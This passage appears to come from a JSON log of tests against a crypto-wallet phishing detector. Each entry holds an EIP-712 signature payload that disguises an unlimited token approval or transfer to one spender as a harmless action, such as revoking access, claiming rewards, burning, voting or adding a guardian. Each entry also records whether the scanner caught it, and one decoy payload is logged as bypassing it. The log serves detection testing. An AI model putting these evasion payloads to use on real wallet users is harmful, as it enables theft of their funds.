Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x670da712ade38358512d557241b8b4e82daf606a13990496e2eeab998ca05c1c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:49:13.167Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:49:22.421Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:49:31.620Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:49:40.798Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:49:49.982Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:49:59.159Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:50:08.324Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:50:17.493Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:50:26.923Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:50:36.349Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:50:45.506Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:50:54.658Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:51:03.806Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:51:13.024Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:51:22.224Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:51:31.394Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:51:40.588Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:51:49.758Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:51:58.956Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking 